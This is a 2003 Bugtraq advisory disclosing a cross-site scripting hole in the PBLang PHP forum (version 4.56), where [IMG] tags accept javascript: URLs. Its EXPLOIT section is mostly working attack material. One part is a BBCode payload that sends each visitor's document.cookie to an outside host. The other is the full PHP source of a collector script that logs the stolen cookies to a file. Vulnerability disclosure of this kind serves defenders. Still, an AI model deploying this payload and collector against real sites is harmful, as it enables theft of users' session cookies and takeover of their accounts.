bugtraq - PBLang Cross Site Scripting Vulnerability (Newest version)

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Date: 27 Jul 2003 01:40:02 -0000
From: Quan Van Truong <quan_vu_208cn@...oo.com>
To: bugtraq@...urityfocus.com
Subject: PBLang Cross Site Scripting Vulnerability (Newest version)




PBLang is a PHP-base forum. A security hole has just found in this product 
allows an attacker to steals cookies or does many things…

|--------------------------------------------|

Vulnerable systems: PBLang Forum
Version:   4.56 (4.5 RC 2)
Website: http://pblang.drmartinus.de/
Problem: Cross Site Scripting (XSS)

|--------------------------------------------|

When a you inserts [IMG]url[/IMG], PBLang’ll changes that text to < img 
src=“url” >. If someone inserts javascript:‘anyscript’() instead of the 
url, the JavaScript code is executed by Internet Explorer or some other 
web browsers.

EXPLOIT:

Inserting a new topic (or reply) with the following text will send 
visitor's cookies to your host. The output is saved to http://your-
host/cookies.txt .


[IMG]javascript:window.open("http://localhost/docs.php?docs="+escape
(document.cookie), "subwindows", "height=100,width=486")[/IMG]
 

* Code of docs.php file:
*----------docs.php---------
<?php
define ("LINE", "\r\n");
define ("HTML_LINE", "<br>"); 
function getvars($arr, $title)
{
$res = "";
$len = count($arr);
if ($len>0)
{
if (strlen($title)>0)
{
print("[--------$title--------]" . HTML_LINE);
$res .= "[--------$title--------]" . LINE;
}
foreach ($arr as $key => $value)
{
print("[$key]" . HTML_LINE);
print($arr[$key] . HTML_LINE);
$res .= "[$key]" . LINE . $arr[$key] . LINE;
}
}
return $res;
} 
// get current date
$now = date("Y-m-d H:i:s"); 
// init
$myData = "[-----$now-----]" . LINE; 
// get
$myData .= getvars($HTTP_GET_VARS, ""); 
// file
$file = $REMOTE_ADDR . "cookies.txt";
$mode = "r+";
if (!file_exists($file))
$mode = "w+";
$fp = fopen ($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($fp, $myData);
fclose($fp);
?>

----------docs.php---------*